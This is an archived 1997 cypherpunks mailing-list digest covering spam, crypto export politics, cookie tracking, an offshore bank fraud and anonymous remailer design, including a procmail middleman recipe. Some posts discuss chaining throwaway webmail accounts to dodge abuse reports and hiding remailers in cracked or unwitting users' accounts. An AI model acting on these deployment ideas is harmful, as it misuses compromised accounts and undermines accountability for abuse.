are a little to complex for my limited programming knowledge so far. 

So can anybody help or will i just be ignored like i have been at other 
times ? 

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 8 Aug 1997 16:20:13 +0800
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
Message-ID: <Pine.LNX.3.91.970807113421.32528F-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 31 Jul 1997, Jeff Barber wrote:

> Network bandwidth used for the purpose of email transport,
> even with increased spamming factored in, is simply too low to justify
> charging much for it.  It will still be *way* cheaper than surface mail.

Yep; which is why it's a bad idea. We don't need net postage to pay the
ISP, we need net postage to pay *me* to read the spam. Making them pay
$0.0001 to send a message will have little impact, but making them pay me
$1 to read it certainly will (i.e. my filters could block all potential
spam unless it includes a dollar of ecash). I have no problem with
spammers subsidising my Net access, I just object to having to pay for
their crap. 

> So unless the percentage of people who delete it instantly, sight-unseen,
> is higher than I suspect or new tools make it easy to filter out all
> spam, it's going to remain economically advantageous for the spammers
> to target broadly.

I've seen one spam in the last two weeks. The other 100k or so was blocked
by my filters; I'm almost starting to miss it. When you actually sit down
and analyse the spam most of it has so many obvious 'spam-tags' that you
can easily work out a set of rules to catch them. The only disadvantage is
that on a couple of occasions it's caught mail from friends when they sent
it through a site which appends advertising rather than from their normal
address. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 8 Aug 1997 16:00:02 +0800
To: cypherpunks@Algebra.COM
Subject: Fraud Feared as Antigua Net Bank Fails
Message-ID: <33EA1ED3.1B5D1919@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://nytsyn.com/live/Latest/218_080697_110027_578.html

Fraud Feared as Antigua Net Bank Fails 

By EMILE VALERE 
c.1997 Bloomberg News 

T. JOHN'S, Antigua - The Antigua and Barbuda government issued a fraud
alert Tuesday after the collapse of European Union Bank and the
disappearance of
its cofounders. 

The locally-chartered bank, which fired all its employees last Thursday,
had
marketed itself as the first off-shore bank on the Internet. 

The Antiguan government hired the accounting firm Coopers and Lybrand
LLP to
examine the records of the three-year-old company. 

Callers to the bank heard a recorded message that gave only a hint that
something
was amiss. 

``Welcome. You have reached the European Union Bank,`` said a
reassuring-sounding male voice. ``Due to technical reasons, some of our
services
involving the security mode are temporarily unavailable.'' 

The bank's Internet site, http://www.eubank.ag , was also unavailable. 
Meanwhile, the government is on the look-out for the bank's founders,
Serbveo
Ushakov, allegedly of Bronxville, New York, and Vietalui Papsouev of
Richmond
Hill, Ontario, according to the Caribbean News Agency. The government
says the
two are Russian nationals. 

The Idaho Department of Finance on May 30 ordered European Union to stop
soliciting deposits from Idaho residents over the Internet. 

``I can't say I'm surprised'' at the news of the bank's collapse, said
Gavin Gee,
director of the department. 

Idaho alleged the bank, without a state or federal charter, was
operating illegally.
Gee said he hopes other U.S. regulators will take similar actions
against off-shore
banks soliciting over the Internet. 

``If nobody's going to take action against fraud on the Internet, we've
got a serious
problem,'' said Gee. 

Antigua has more than 50 off-shore banks. Prime Minister Lester Bird
last
February targeted three of them to be shut down because of their alleged
involvement with Russian crime rings. 

The Associated Press reported last week that the Bank of England warned
investors last fall about depositing funds in European Union Bank. 

(The Bloomberg web site is at http://www.bloomberg.com )< 

(Disbributed by The N.Y. Times News Service)< 

NYT-08-06-97 1054EDT<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 8 Aug 1997 16:30:25 +0800
To: cypherpunks@cyberpass.net
Subject: Exit Remailer Suggestion
Message-ID: <19970807192254.40.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone wrote:

 > What about AOL disks?  We need shorter lived, disposable
 > remailers as exit remailers...  Let them take the heat,
 > while the real remailers walk.  Lets see a series of
 > "exitman" remailers.  Exitman remailers are walking targets
 > left to fend for themselves as long as they may.

We already have a preconfigured set of exit remailers.  They have
names like "hotmail", "rocketmail", etc...  These are the
web-based email services which will instantly create accounts for
anyone, no questions asked or authentication required, and permit
access to these accounts with the chosen password from anywhere
on the Net.  You can even chain them, using an account on one to
apply for an instant account on another, leaving few bread crumbs
for anyone to follow.

Most of these services don't care, don't log, and rarely read
their email to abuse@. Even if pressure does cause an occasional
account to be deleted, you can easily create ten more in as many
seconds.

By reconfiguring current remailers to use a public Email service
as the last link in the chain, we tap a potentially infinite
supply of disposable accounts, on advertising-supported service
providers with skins as thick as those of the bulk emailers.

Sounds like a plan to me.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 8 Aug 1997 15:57:14 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
Message-ID: <199708071951.MAA21851@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  7 Aug 97 at 0:18, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
> writes:
> 
> > > Once the offending articles are part of the spool on toher site,
> > > it's pointless for me to issue cancels.
> >
> > Not even to free up diskspace?
> 
> Correct.

For no reason whatsoever should you cancel a message you did not send 
yourself.

See:

http://www.npr.org/plweb-cgi/fastweb?getdoc+npr+npr+12142+2+wAAA+spam

NPR's Jim Zarroli reports that UUNet, the Internet service provider
whose billboards were blocked, condemned the action and called the
incidents "digital terrorism"

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 8 Aug 1997 15:57:56 +0800
To: cypherpunks@toad.com
Subject: Export Tax vs ITAR as a compromise ...
Message-ID: <199708072032.NAA20409@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



How about this as a political compromise ...

1.  Allow any export of crypto.

2.  Tax crypto exports heavily, say 25% or something
    like that, unless key recovery (or some other
    GAK-ish feature) is part of the product.  For
    instance, structuring the taxes so that ...

        GAK-only     products get taxed   0%
        GAK-optional products get taxed  20%
        non-GAK      products get taxed  25%

3.  Give this revenue upside to the FBI/CIA/NSA/NRO.

Internet commerce products alone would bring in shit
loads of revenue for these agencies.  And, as a
side-benefit for these agencies, many companies will
opted for GAK just for export tax reasons.

This, of course, will not please the crypto-purists,
but crypto is just one of many areas where the
government is feeling like it is losing control.  And
while that attitude is just infantile, we have to be
realistic about those very human people and very human
organizations who have a tough job to do.  As much as I
hate ITAR, I feel really bad for the NSA.

----

1.  Fundamentally, I only oppose ITAR on First
Amendment grounds: I should be able to write any
program I can type, and I should be able to give that
program out.  This is computer speech, but it sure is
speech.  Therefore, my personal interest is to perserve
that freedom.  (If I happen to write a book about
dangerous chemicals or explosives [write crypto code],
why should I be held criminally liable if a terrorist
buys my book [downloads my source code] or steals it
from a library [intercepts an E-Mail containing the
sources].)

2.  My guess is that the NSA has NOT really advanced
the state of the art of crypto much.  I suspect they
have capabilities that are maybe one or two orders of
magnitude (in terms of art, not pure bruteforce
resources) ahead of us common folks, but we can crank
up the computational complexity without a wink, and
then, they are just helpless.  One particular
rumoroid/factoid worth keeping in mind is that they
have succeeded in the past, not just by being smarter,
but also by dumbing-down everyone else.  Sooner or
later, that part of the strategy will no longer work.

3.  There is something to be said for controlling
export and import of products when the rest of the
world is not using a economic system quite like ours.
There is also something to be said for controlling
export of products that might reduce our national
strategic advantage (whatever that means).

Of course, there is also self-delusion, and, if I were
to assume the FBI/NSA is being completely honest,
self-delusion is what they seem to be falling back on.
I mean, REALLY now, if you can't control huge cabinets
of supercomputers (oops ... I guess they are just
desktop pizza boxes now, aren't they?), how are you
going to control bits?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 8 Aug 1997 15:58:59 +0800
To: hua@chromatic.com>
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <3.0.32.19970807082355.00708b40@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Read my earlier post re: this.  Clinton already said he'd veto SAFE.

At 10:00 AM 8/5/97 -0700, stewarts@ix.netcom.com wrote:
>
>At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>>Does anyone have any idea whether Clinton's threat of using the
>>line-item veto against portions of the big spending bill could
>>be leverage against some pro-SAFE legislators?
>
>The line item veto doesn't eliminate the political games in the budget,
>it just changes the details a bit.  Sure, he could threaten to
>veto their favorite pork-barrel projects for crossing him on crypto,
>just as he could threaten to veto them if they don't support
>his favorite pork.  But as someone else said, he can threaten to
>veto the crypto bill itself, or (perhaps worse) threaten to veto it
>unless it's "balanced", by including controls on domestic cryptography
>in return for letting Big Business export more products.
>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:59:20 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <Pine.GSO.3.95.970807093112.4169A-100000@well.com>
Message-ID: <R5u3ae3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> Thanks for the help, folks. This is for an article on privacy I was
> working on, and I found the info I needed. For instance, Netscape's
> explanation of the protocol left me wondering about whether cookies from
> acme.com could be requested by competitor.com.
The answer is YES, although it requires a little work.

Suppose that you point your browser at http://www.A.com/index.html.

Suppose that file contains an <img src="http://www.B.com/X.cgi">.
The CGI file displays a little picture, and also gets or sets a cookie.

Suppose you next browse http://www.C.com/index.html, and it too
contains the same <img src...>.  Since the cookie is "owned" by B.com,
not A.com or C.com, the cgi file can track your movement from A.Com to
B.Com.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 15:59:10 +0800
To: cypherpunks@toad.com
Subject: Money magazine on Internet gambling
Message-ID: <Pine.GSO.3.95.970807141911.16301N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



A colleague of mine down the hall at Money magazine just stopped by and
asked for help on a Net-gambling story. I think she's interested in the
offshore issues -- but this being Money, I think they're looking for
horror stores as well. (Junior running up a $20,000 tab on Daddy's credit
card. You know the drill.) I already gave her my copy of the July Wired
with Charles Platt's article on FC97, told her about Sen. Kyl's bill, and
gave her the URL to MSNBC's special report.

If anyone wants to give her a call, email me for her phone number.

-Declan

PS: Thanks to everyone who responded about the digital cash story for
Money earlier this summer. I printed out all the responses I got and
forwarded them along, but the story got killed...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 8 Aug 1997 16:47:36 +0800
To: cypherpunks@toad.com
Subject: Gore on "information standard," from wire service reports
Message-ID: <Pine.GSO.3.95.970807142838.10350B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



@TEXT
	<B>gore-urban-league 6thadd<P>
	GORE/URBAN LEAGUE       PAGE 10 08/06/97 .STX
	x x x high.
	You know, forget about the gold standard; we're on the information
standard.  There's $1-1/2 trillion in the global economy sloshing around
every single day, flowing toward those nations that make hard choices
based on real numbers and get away from illusionary policies based on
secondhand smoke and rear-view mirrors.  By making the tough choices and
investing more in our priorities for the future, while at the same time
steadily reducing the budget deficit, we are keeping interest rates down
and drawing investment capital to the right places in the United States of
America.
	President Clinton and I know that while a strong and growing
national economy is job number one, and while we are proud of the progress
that has been made, we know that it is only a start, and much more needs
to be done.  We know that it's also not enough, because while we must
improve the track, we must also make sure that everyone has the
opportunity to get to the starting gate.
	That's especially important today, because we are entering a new
economy, one that is not just better and stronger than the old one, but
one that is very different as well, in fundamentally new ways.  It is an
economy driven by information and technology.  It is an economy that
depends less on the size of our factories than it does on the skills and
creativity of our people.  It is an economy that is linked to the global
marketplace by phone, fax, and computer cable.  It is an economy that is
zapping dollars and data around the world every moment at the speed of
light.
	That's something new.  We all know that.  We see it in our daily
lives.  We experience it when we walk into a business establishment. We
see it in our own work.
	And if we prepare for this new economy, this new world, in the
right way, then this new economy can be the most empowering and inclusive
economy that the United States of America has ever known.
	In an economy where goods and services are increasingly traded
along and across the information superhighway, a simple connection to the
Internet can transform an isolated urban community into a thriving
economic center.
	In an economy where companies cannot afford not to hire and
promote the best-educated, best-trained, best-skilled employees, the right
kind of education can indeed help to crack the glass ceiling and break
through the barriers of prejudice and hatred, and get rid of the residue
of that hatefulness from history  in an economy. .ETX 
	GORE/URBAN LEAGUE       PAGE 11 08/06/97 .STX
	MORE
	.ETX Aug 06, 1997 12:04 ET .EOF 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 8 Aug 1997 15:57:29 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708071945.UAA04602@server.test.net>
Message-ID: <Pine.LNX.3.94.970807160614.2843G-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Adam Back wrote:

> You know how middleman operators work...  they always, always send
> mail via another remailer and never deliver mail to a user.  (I'm not
> sure if they detect this by looking to see if the address is on the
> remailer list, or just always add an extra hop?)

I think by definition a middleman always chains through one or more
additional remailers. When I ran dustbin, it was a "smart middleman",
i.e., if the recipient was a known remailer, it wouldn't bother to chain
(remailers rarely complain), otherwise it would chain through a single
remailer. I have a procmail script which does this as well using mixmaster
only (some definitions are missing here): 

# Smart middle. If not to another remailer, send it through a random mixmaster.
# Mixmaster 2.0.3 compatible.

:0 f
* MIDDLE ?? (on|yes)
*! ? grep "$TO" $RLIST $TYPE2
| formail -bf -I"From:" -I"To:" -I"Comments:" -IMessage-ID: \
        | $MIXPATH/mixmaster -f -to $TO -l 0 

# We made it this far, so send out the mail.

:0
| $SENDMAIL $SENDMAILFLAGS 

An even smarter middleman would detect PGP messages and deliver those
directly to end recipients, since those people are unlikely to complain
about anonymous mail, and chain if the message was plaintext. The risk
involved with this type of middleman operation should be rather small.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<


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ULoalmkRHsByl/qUICRqSpktQQtveq2I3MEIHYSk7tEVJQ==
=0FkI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 8 Aug 1997 15:47:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exit Remailer Suggestion
Message-ID: <19970807233007.6487.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



ACTIVE

Maybe your remailing software could connect to a URL like this and
imitate the action of typing in mail.  But it might have to login
first.  Hotmail asks you to log out if you don't plan to use the
system any more for a while.  So it seems like it keeps some kind of
record of who is logged in.

A good project would be to make an exit remailer whose only job was
to choose from a random list of hotmail accounts and redirect mail.
It wouldn't have to have a lot of complicated cryptography, it would
just be for the last step.

"John


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 8 Aug 1997 15:47:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: anti-spam law implies laws against remailers? (was Re: bulkpostage fine)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <v03102800b0100f88f756@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 AM -0700 8/6/97, Adam Back wrote:

>2) When the government or whoever wants to sue someone for spam they
>   will have to prove who the spammer is.  (Right?)  So now they'll
>   look at the From address at it will say remailer@foo.com.  So
>   they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
>   won't be able to cooperate because he doesn't keep logs.  They won't
>   be happy with Fred, and will pass this information along to him by
>   stealing his equipment, prosecuting him for assisting in a felony
>   crime (they'll make it a felony right?), lock him and throw away
>   the key.  But what about Freds constitutional protection of the
>   speech forwarded by his remailer?  (Judge + congress-critter:
>   Constitution wassat?)

Delivery services are not held liable for the contents of the packages they
deliver, generally. (If they are parties to the crime, natch. And some say
they can be compelled to assist in law enforcement activities.)

Nor are delivery services required to "know their customer" or to have
ironclad proof of where a package originated. (Hell, even the U.S. Postal
Service allows mail with no valid return address, and this was my
experience in Europe as well.)

The "From:" field in e-mail is not to be confused with the "originator"
(whatever that may be).

Not even the U.S. courts are so dumb as to accept the claim that a package
delivered by the U.S. Postal Servie or by UPS means that Joe Deliveryman is
the "sender."

When this "From:" thing eventually gets to a court, I expect this
distinction will be obvious to all.

Remailers are just middlemen in a delivery process.

(Further protection in the U.S. comes from the ECPA, of course, which
explicitly makes it illegal for a middleman to examine e-mail. How can they
screen e-mail for illegal words if they are forbidden to look?)


--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 8 Aug 1997 15:38:50 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Export Tax vs ITAR as a compromise ...
In-Reply-To: <199708072032.NAA20409@ohio.chromatic.com>
Message-ID: <v03102807b01030289ecd@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



>How about this as a political compromise ...
>
>1.  Allow any export of crypto.
>
>2.  Tax crypto exports heavily, say 25% or something
>    like that, unless key recovery (or some other
>    GAK-ish feature) is part of the product.  For
>    instance, structuring the taxes so that ...
>
>        GAK-only     products get taxed   0%
>        GAK-optional products get taxed  20%
>        non-GAK      products get taxed  25%
>
If this were in force, and I were someone like, say, PGP,
I would export a single copy of my program to a confederate
overseas who would then duplicate it and sell it abroad,
sending royalty payments back to me.

25% of $50 is um... $12.50.

Lots of revenue there.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 8 Aug 1997 15:44:12 +0800
To: hua@chromatic.com>
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
In-Reply-To: <3.0.32.19970807082355.00708b40@best.com>
Message-ID: <3.0.2.32.19970807195514.037903ac@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:34 PM 8/7/97 -0700, geeman@best.com wrote:
>Read my earlier post re: this.  Clinton already said he'd veto SAFE.

Yes, "Fighting Bill" Clinton may be the one who saves us from outlawing 
crypto used in the course of a crime.  Then when the courts throw the export 
ban out...


DCF
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Charset: noconv

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mpUg4P3wz70=
=2QJm
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 16:19:42 +0800
To: cypherpunks@toad.com
Subject: Third party rating systems are good for society
Message-ID: <Pine.GSO.3.95.970807201331.23044B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 19:33:16 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Stanton McCandlish <mech@eff.org>
Cc: mnorton@cavern.uark.edu, jellicle@inch.com,
    fight-censorship@vorlon.mit.edu
Subject: Third party rating systems are good for society


On Thu, 7 Aug 1997, Stanton McCandlish wrote:

> [Lest more people send hatemail, please keep in mind that the description
> of third party ratings as "good things" here means a proliferation of
> third party reviews of  content, goods and services just like we have in
> the real world. It does not mean Milburn imposing his morality on the

I'm still wrestling with how to think about third party rating systems in
general and clunky, pejorative systems like RSACi in particular. How to
differentiate the two in principle? Time to reread the ALA's statements
again.

For I think in general, third party rating systems are boons to society. 
Think of the Good Housekeeping Seal of Approval, Underwriter Labs, and
kosher rating agencies. These are socially useful devices, each one of
them. (I'd be interested to hear what similar systems have sprouted in
other countries.) 

Or, to put it in cypherpunkly terms, marks allow the redistribution of
reputation capital. The Time logo and the Netly News URL on my business
card may boost my reputation when presented to someone who doesn't know
me. An Intel Inside logo may (or may not!) do the same. Even SATs and
GMATs are rating systems of a sort, for they tell a prospective employer
or college something about me. Then there's TRUSTe. 

Third party rating systems are nothing more than the formalization of
gossip, which has lubricated the social wheels of every society that has
ever existed.

So I suggest one should not oppose third party rating systems in general
but instantiations of these systems in particular. RSACi is certainly one
of those. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 8 Aug 1997 15:40:06 +0800
To: cypherpunks@toad.com
Subject: TEST [Ignore]
Message-ID: <C6gP6eCgxLQAbd3GICJE5Q==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 8 Aug 1997 15:38:18 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708072250.XAA05978@server.test.net>
Message-ID: <Pine.LNX.3.94.970807200648.2843J-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Adam Back wrote:

> Wasn't there for a time a hidden middleman.  That is a middleman
> remailer who's published address was a nym account on a nymserver?
> That'd be a "hidden middleman".

There's some now. medusa@squirrel.owl.de is one.  middleman@cyberpass.net
(reno) might be another (not sure the account is anonymous, but could be).

> Dimitri suggested on cypherpunks in the last round of discussion of
> this sort of thing another variation on that -- that you could deliver
> the mail if the person had a PGP public key on the keyservers --
> whether the email was encrypted or not.  On the assumption that people
> who use PGP would be unlikley to complain of anonymous mail.

The only problem with that is the denial-of-service attack you describe
below. I figure if it's already encrypted, delivery is likely to be
welcomed rather than irritating.

> He also suggested beefing up keyserver submission checks (there are
> none right now) so that you need a replyable address to submit a key,
> otherwise the remailer-baiter just posts a key generated with their
> "victim's" email address on it prior to sending to them.

Yeah, I had in mind some kind of magic cookie exchange using the submitted
key. Once the cookie gets returned, the keyserver signs the key with a
special signing key which certifies that the key has at least passed the
"cookie exchange" test. The remailer I was working on (I say "was" because
I just have been too darn busy to finish it) would have implemented that
very thing. It's essentially the same thing the nymservers do when
configured to confirm reply blocks, which they always are. 

Back to the subject: Disposable remailers. It seems the juno remailer
software would be good for this. I'm not sure what the sign-up requirement
are, but it's free. I was also thinking about web-based free mail
services, such as Hotmail and Rocketmail. Receiving mail means having to
parse some HTML, which from the looks of things is do-able but not
trivial. Sending mail might be easier to implement.

Which brings up an interesting idea for an exitman/middleman remailer: Use
a nym or commercial ISP to receive the mail, use throwaway free mail
accounts for delivery (maybe even just plaintext delivery). Hotmail, at
least, inserts an X-Originating-IP:  header, though.  I expect others do
the same. So put your remailer output on a ZIP disk or floppy and run your
delivery on whatever public or semi-public access machine you happen to
get your hands on, once or twice a day.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 15:59:42 +0800
To: azur@netcom.com
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <v03102800b00fa166efe1@[10.0.2.15]>
Message-ID: <199708071945.UAA04602@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Uggh another post which turned out hugely long... I cc'd to remailer
ops due to remailer operator relevance.

Steve Schear <azur@netcom.com> writes:
> >> On Wed, 6 Aug 1997, Adam Back wrote:
> >I propose that an exit remailer is replaceable, that is another
> >remailer can instantly step into it's place and take traffic.  The way
> >to do this is to have a special automated reporting mechanism for
> >exitman remailers.  An easy way to do it is to have the exitman
> >remailers send mail to a given mailing list.  Other remailers which
> >wish to use exitman remailers just subscribe to the chosen mailing
> >list.  We just need a remailer command indicating the creation of a
> >new exitman remailer.  I guess the exitman remailer just sends one
> >message per day, or whatever, and if it stops, you write it off.
> 
> A possible problem is the motivation of those setting up decoys.  If
> they're doing it to help thwart remailer abuse, fine.  But what if
> their intent is to thwart remailers?  Couldn't these dissidents set
> up black-hole remailers which are simply information sinks?  

Good point, they could indeed.

There is another related problem which is a real thorny one:

  Being exit only, the attacker will by definition know the email
  address the messages it forwards are being sent to.  The attacker is
  trying to maximise his ability to disrupt, so he will be trying extra
  hard to conceal from remailer operators and their community that he is
  disrupting.

  Clearly the clever attacker in this situation, trying to disrupt the
  exitman-using middleman remailers reliability will let through
  anything going to a public forum, or to an email address he suspects
  is anything to do with Raph's pinging service.  (Eg any address on the
  cypherpunks list or remailer-ops list as possible collaborators in the
  remailer reliability pinging).

  If the attacker is a Fed or spook or whatever, he will have good
  resources and ability to correlate destination email addresses to
  cypherpunks list members.  Eg you get an account somewhere, they can
  find out by looking at your credit card logs, or whatever.

Counter-measures?

1) Counter measure #1

   A sop I can offer to this difficulty of detecting denial of
   service attacks, is that perhaps you could have the last middleman
   remailer send to a bunch of different randomly selected exitman
   remailers.  So when you get some anonymous mail you get 10 copies of
   it.

   That way you can work out some stats for how likely someone who is
   operating 10 of 20 exit man remailers is to stop a given mail
   getting through.

 1a) Counter-counter measure to 1)

     However if some of these remailers are operating from cracked
     accounts, rather than from anonymously purchased accounts, the
     attacker has an easy job of increasing his percentage of exitman
     remailers: take out the existing ones.  Simple just email the admin
     of the cracked account -- he'll remove it.

2) Counter measure #2

   Another idea, but really quite manual, would be to pick people who
   have advertised PGP keys, send them mail via some exitman remailer,
   and ask them politely to forward it to you.

   (Clearly sending through requests to "let me know if you recieve
   this email" aren't going to be recognized by the attacker, and let
   through if we send mail to people who don't have encryption
   capability).

 2a) Counter-counter measure to 2)

     Course then the attacker can counter by letting through any
     encrypted mail without question.  Stuck there aren't we :-(

3) Counter measure #3

   Scraping the barrel here: what if we enlist the help of exitman
   remailers to check up on other exitman remailers?

   So now lets say we don't release a list of exitman remailers, but
   rather each exitman remailer privately announces itself to one
   randomly selected remailer privately.

   This is better in general because there is now no publically known
   list of exitman remailers.  It is now harder for someone to
   use the list to just email all the admins in the hope that they
   will revoke paid for accounts (attacker makes legal threats,
   claiming to have receiving illegal material from this account or
   whatever), or to remove hacked accounts (real easy this one).

   With this setup we can send mail to one exit man via another one,
   with some chance that the first exitman won't recognize the other
   exitman.  (You wouldn't want to overdo it with repeated mail, or
   the corrupt exitman might start to suspect the mail was another
   exitman).

  3a) counter-counter measure to 3)

      It might be relatively easy for the well funded attacker to work
      out which addresses of those it receives to forward to are
      accounts with exitman installed.  Eg. Watch the traffic from the
      host, after sending a bunch messages through remailers.  Or
      simply finger the account see if the user ever logs in.  (If it
      was hacked, it could be an active account, the user might never
      look at the forward file with |/home/oliver/... , nor the
      exitman remailer installed as "..." in some directory -- if it's
      working properly they won't see the email, and if it's forging
      email well they see replies).  Incidentally exitman remailer
      hidden in "..." would allow a user to install it himself and
      plausibly claim ignorance, a more subtle way to obtain
      "disposable" exitman remailers.  Best run from clearly
      non-technical users accounts with the knowing assistance of a
      technical assitant.

4) counter measure #4

   An exitman remailer pinging service would be easily feasible for
   the post to USENET aspect (or to known mailing list), as the
   exitman remailer would show itself up quickly in this case.

   However I'm not sure this is so useful as mail2news gateways, and
   public postings generally (*) generate a lots less agro for their
   operators than a remailer.  This is because people don't have to
   read USENET, and don't feel nearly so threatened as when they
   receive an anonymous mail aimed at them.  And also because the
   mail2news gateway puts the senders address in the From field, which
   points the finger at the exit remailer anway.  mail2news seems to
   be viewed as more neutral.  If any mail2news operators have
   experiences which suggest otherwise I'd be interested to hear.

   (*) I did read of one case on remailer-operators where someone got
       hit by a remailer hater who used a remailer to post a fake
       advertisement of a CD full of commercial warez.  The
       remailer-hater then anonymously tipped off the SPA.

